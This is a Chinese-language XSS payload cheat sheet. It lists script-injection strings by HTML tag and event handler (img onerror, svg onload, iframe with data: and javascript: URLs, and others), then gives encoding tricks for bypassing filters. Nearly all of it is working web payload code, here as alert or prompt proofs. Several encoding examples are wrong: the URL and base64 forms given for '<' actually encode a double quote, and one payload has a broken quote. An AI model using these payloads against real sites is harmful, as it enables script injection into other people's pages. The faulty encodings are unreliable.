一、標准語句
<script>alert(/XSS/)</script>
二、嘗試大小寫
<sCript>alert(1)</scRipt>
三、使用<img>標簽
1、windows事件
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
//圖片加載錯誤時觸發
2、鼠標事件
<img src=1 onmouseover="alert(1)">
//鼠標指針移動到元素時觸發
<img src=1 onmouseout="alert(1)">
//鼠標指針移出時觸發
四、使用<a>標簽
1、使用href屬性
<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a>
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
五、使用<input>標簽
<input name="name" value="">
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
<input type="text" onkeydown="alert(1)">
//用戶按下按鍵時觸發
<input type="text" onkeypress="alert(1)">
//用戶按下按鍵時觸發
<input type="text" onkeyup="alert(1)">
//用戶松開按鍵時觸發
六、使用<from>標簽
<form action=javascript:alert('xss') method="get"><form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')><form method=post action=aa.asp? onmouseover=alert('xss')><form action=1 onmouseover=alert('xss)>
<!--原code--><form method=post action="data:text/html;base64,<script>alert('xss')</script>"><!--base64編碼--><form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
七、 使用<iframe>標簽
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe> <!--原code--><iframe src="data:text/html;base64,<script>alert('xss')</script>"> <!--base64編碼--><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <iframe src="aaa" onmouseover=alert('xss') /><iframe> <iframe src="javascript:prompt(`xss`)"></iframe>
八、 使用<svg>標簽
<svg onload=alert(1)>
九、 使用<body>標簽
<body onload="alert(1)">
//加載時觸發
十、 使用<button>標簽
<button onclick="alert(1)">text</button>
//元素上點擊鼠標時觸發
<p onmousedown="alert(1)">text</p>
//元素上按下鼠標時觸發
<p onmouseup="alert(1)">text</p>
//在元素上釋放鼠標時觸發
十一、 使用<p>標簽
<p onmousedown="alert(1)">text</p>
//元素上按下鼠標時觸發
<p onmouseup="alert(1)">text</p>
//在元素上釋放鼠標時觸發
十二、XSS編碼繞過
1、html實體編碼(10進制與16進制):
如把尖括號編碼[ < ] -----> html十進制: < html十六進制:<
2、javascript的八進制跟十六進制:
如把尖括號編碼[ < ] -----> js八進制:\74 js十六進制:\x3c
三個八進制數字,如果數字不夠,在前面補零,如a的編碼為\141
兩個十六進制數字,如果數字不夠,在前面補零,如a的編碼為\x61
四個十六進制數字,如果數字不夠,在前面補零,如a的編碼為\u0061
對於一些控制字符,使用特殊的C類型的轉義風格,如\n和\r
3、url編碼:
如把尖括號編碼[ < ] -----> url: %22
4、base64編碼:
如把尖括號編碼[ < ] -----> base64: Ig==
5、jsunicode編碼:
如把尖括號編碼[ < ] ----->jsunicode:\u003c
6、String.fromCharCode編碼
如alert的編碼為String.fromCharCode(97,108,101,114,116)